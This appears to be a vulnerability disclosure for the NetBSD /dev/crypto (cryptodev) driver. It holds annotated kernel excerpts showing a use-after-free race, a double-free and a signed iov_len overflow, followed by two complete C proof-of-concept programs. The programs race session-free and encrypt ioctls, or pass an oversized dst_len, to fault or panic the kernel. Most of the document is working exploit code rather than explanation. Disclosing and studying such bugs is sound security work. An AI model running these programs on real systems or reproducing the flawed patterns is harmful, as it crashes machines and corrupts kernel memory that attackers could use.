1
cse = csefind(fcr, cop->ses);
2
mutex_exit(&cryptodev_mtx);   /* window opens here */
3
/* concurrent CIOCFSESSION frees cse */
4
error = cryptodev_op(cse, cop, curlwp);  /* UAF */

1
cse->uio.uio_iov[0].iov_len  = iov_len;
2
cse->uio.uio_iov[0].iov_base = kmem_alloc(iov_len, KM_SLEEP);  /* both threads allocate */

1
bail:
2
    if (cse->uio.uio_iov[0].iov_base)
3
        kmem_free(cse->uio.uio_iov[0].iov_base, iov_len);  /* double-free */

1
#include <sys/types.h>
2
#include <sys/ioctl.h>
3
#include <sys/fcntl.h>
4
#include <crypto/cryptodev.h>
5
#include <pthread.h>
6
#include <unistd.h>
7
#include <stdio.h>
8
#include <stdlib.h>
9
#include <string.h>
10
#include <err.h>
11

12
static int cryptofd;
13
static uint32_t shared_ses;
14
static volatile int stop;
15

16
static uint32_t
17
make_session(int fd)
18
{
19
    struct session_op sop;
20
    uint8_t key[16];
21

22
    memset(&sop, 0, sizeof(sop));
23
    memset(key, 0x41, sizeof(key));
24
    sop.cipher   = CRYPTO_AES_CBC;
25
    sop.keylen   = sizeof(key);
26
    sop.key      = key;
27

28
    if (ioctl(fd, CIOCGSESSION, &sop) < 0)
29
        err(1, "CIOCGSESSION");
30

31
    return sop.ses;
32
}
33

34
static void *
35
thread_crypt(void *arg)
36
{
37
    struct crypt_op cop;
38
    uint8_t src[32], dst[32], iv[16];
39

40
    memset(src, 0x41, sizeof(src));
41
    memset(iv,  0x00, sizeof(iv));
42

43
    while (!stop) {
44
        memset(&cop, 0, sizeof(cop));
45
        cop.ses = shared_ses;
46
        cop.op  = COP_ENCRYPT;
47
        cop.len = sizeof(src);
48
        cop.src = src;
49
        cop.dst = dst;
50
        cop.iv  = iv;
51
        ioctl(cryptofd, CIOCCRYPT, &cop);
52
    }
53
    return NULL;
54
}
55

56
static void *
57
thread_free(void *arg)
58
{
59
    while (!stop) {
60
        uint32_t ses = shared_ses;
61
        ioctl(cryptofd, CIOCFSESSION, &ses);
62
        shared_ses = make_session(cryptofd);
63
    }
64
    return NULL;
65
}
66

67
static void
68
poc_uaf_cioccrypt_race(void)
69
{
70
    pthread_t ta, tb;
71

72
    printf("[*] PoC 1: CIOCCRYPT/CIOCFSESSION UAF race\n");
73

74
    cryptofd = open("/dev/crypto", O_RDWR);
75
    if (cryptofd < 0)
76
        err(1, "open /dev/crypto");
77

78
    shared_ses = make_session(cryptofd);
79
    stop = 0;
80

81
    pthread_create(&ta, NULL, thread_crypt, NULL);
82
    pthread_create(&tb, NULL, thread_free,  NULL);
83

84
    sleep(5);
85
    stop = 1;
86

87
    pthread_join(ta, NULL);
88
    pthread_join(tb, NULL);
89

90
    close(cryptofd);
91
    printf("[*] PoC 1 done (check dmesg for KCSAN/panic)\n");
92
}
93

94
#define NTHREADS 8
95

96
static uint32_t poc2_ses;
97
static int      poc2_fd;
98

99
static void *
100
thread_crypt_same_ses(void *arg)
101
{
102
    struct crypt_op cop;
103
    uint8_t src[32], dst[32], iv[16];
104
    int i;
105

106
    memset(src, 0x42, sizeof(src));
107
    memset(iv,  0x00, sizeof(iv));
108

109
    for (i = 0; i < 10000; i++) {
110
        memset(&cop, 0, sizeof(cop));
111
        cop.ses = poc2_ses;
112
        cop.op  = COP_ENCRYPT;
113
        cop.len = sizeof(src);
114
        cop.src = src;
115
        cop.dst = dst;
116
        cop.iv  = iv;
117
        ioctl(poc2_fd, CIOCCRYPT, &cop);
118
    }
119
    return NULL;
120
}
121

122
static void
123
poc_uio_race(void)
124
{
125
    pthread_t threads[NTHREADS];
126
    int i;
127

128
    printf("[*] PoC 2: concurrent CIOCCRYPT same session (cse->uio race)\n");
129

130
    poc2_fd = open("/dev/crypto", O_RDWR);
131
    if (poc2_fd < 0)
132
        err(1, "open /dev/crypto");
133

134
    poc2_ses = make_session(poc2_fd);
135

136
    for (i = 0; i < NTHREADS; i++)
137
        pthread_create(&threads[i], NULL, thread_crypt_same_ses, NULL);
138
    for (i = 0; i < NTHREADS; i++)
139
        pthread_join(threads[i], NULL);
140

141
    close(poc2_fd);
142
    printf("[*] PoC 2 done\n");
143
}
144

145
int
146
main(void)
147
{
148
    poc_uaf_cioccrypt_race();
149
    poc_uio_race();
150
    return 0;
151
}

1
int iov_len = cop->len;           /* signed */
2
if ((cse->tcomp) && cop->dst_len) {
3
    if (iov_len < cop->dst_len)
4
        iov_len = cop->dst_len;   /* UB: u_int -> int, wraps negative */
5
}
6
/* size_t <- negative int -> 0xffffffff80000001 */
7
cse->uio.uio_iov[0].iov_len = iov_len;
8
/* FALSE or optimized away under -O2 */
9
if (iov_len > 0)
10
    cse->uio.uio_iov[0].iov_base = kmem_alloc(iov_len, KM_SLEEP);
11
/* corrupted: 0xffffffff80000001 */
12
cse->uio.uio_resid = cse->uio.uio_iov[0].iov_len;
13
/* iov_base = NULL -> fault */
14
copyin(cop->src, cse->uio.uio_iov[0].iov_base, cop->len);

1
#include <sys/types.h>
2
#include <sys/ioctl.h>
3
#include <sys/fcntl.h>
4
#include <crypto/cryptodev.h>
5
#include <unistd.h>
6
#include <stdio.h>
7
#include <stdlib.h>
8
#include <string.h>
9
#include <err.h>
10

11
/*
12
 * PoC: two bugs demonstrated
13
 *
14
 * Bug A: iov_len signed overflow → NULL iov_base → copyin NULL ptr
15
 *   Requires: tcomp session, dst_len > INT_MAX
16
 *   Effect: copyin(src, NULL, len) → kernel fault
17
 *
18
 * Bug B: large iov_len allocation via dst_len, then early bail
19
 *   via cop->iv on compression-only session (crde==NULL)
20
 *   Effect: allocates large buffer, bails, frees correctly BUT
21
 *           the copyin into that large buffer happens BEFORE the
22
 *           iv check — so we get copyin of 16 bytes into a large
23
 *           buffer then free it — demonstrates the logic inversion
24
 *           (should validate iv before allocating)
25
 */
26

27
static int
28
open_crypto(void)
29
{
30
    int fd = open("/dev/crypto", O_RDWR);
31
    if (fd < 0) err(1, "open /dev/crypto");
32
    return fd;
33
}
34

35
static uint32_t
36
make_comp_session(int fd, int alg)
37
{
38
    struct session_op sop;
39
    memset(&sop, 0, sizeof(sop));
40
    sop.comp_alg = alg;
41
    if (ioctl(fd, CIOCGSESSION, &sop) < 0)
42
        err(1, "CIOCGSESSION");
43
    printf("[*] comp session id=%u alg=%d\n", sop.ses, alg);
44
    return sop.ses;
45
}
46

47
static uint32_t
48
make_cipher_session(int fd)
49
{
50
    struct session_op sop;
51
    uint8_t key[16];
52
    memset(&sop, 0, sizeof(sop));
53
    memset(key, 0x41, sizeof(key));
54
    sop.cipher = CRYPTO_AES_CBC;
55
    sop.keylen = sizeof(key);
56
    sop.key    = key;
57
    if (ioctl(fd, CIOCGSESSION, &sop) < 0)
58
        err(1, "CIOCGSESSION cipher");
59
    printf("[*] cipher session id=%u\n", sop.ses);
60
    return sop.ses;
61
}
62

63
/*
64
 * Bug A: NULL iov_base via signed overflow of iov_len
65
 *
66
 * Execution path:
67
 *   cop->len=16 → iov_len=16
68
 *   cop->dst_len=0x80000001 → iov_len=0x80000001 (UB, negative as int)
69
 *   iov_len > 0 → FALSE → iov_base not allocated → NULL
70
 *   uio_resid = (size_t)(negative) → 0xffffffff80000001
71
 *   copyin(cop->src, NULL, 16) → fault
72
 */
73
static void
74
bug_a_null_iov_base(void)
75
{
76
    int fd = open_crypto();
77
    uint32_t ses = make_comp_session(fd, CRYPTO_DEFLATE_COMP);
78

79
    struct crypt_op cop;
80
    uint8_t src[16], dst[16];
81
    memset(src, 0x41, sizeof(src));
82
    memset(&cop, 0, sizeof(cop));
83

84
    cop.ses     = ses;
85
    cop.op      = COP_COMP;
86
    cop.len     = 16;
87
    cop.src     = src;
88
    cop.dst     = dst;
89
    cop.dst_len = 0x80000001;   /* > INT_MAX → iov_len goes negative */
90
    cop.iv      = NULL;
91
    cop.mac     = NULL;
92

93
    printf("[*] Bug A: dst_len=0x%x → iov_len overflow\n", cop.dst_len);
94
    printf("    expected: copyin to NULL → kernel fault/panic\n");
95
    if (ioctl(fd, CIOCCRYPT, &cop) < 0)
96
        warn("    CIOCCRYPT returned error (may have faulted in kernel)");
97
    else
98
        printf("    [!] returned OK — check dmesg\n");
99

100
    close(fd);
101
}
102

103
int
104
main(void)
105
{
106
    printf("=== cryptodev_op vulnerability PoC ===\n\n");
107

108
    printf("--- Bug A: iov_len signed overflow ---\n");
109
    bug_a_null_iov_base();
110
    printf("\n");
111
    return 0;
112
}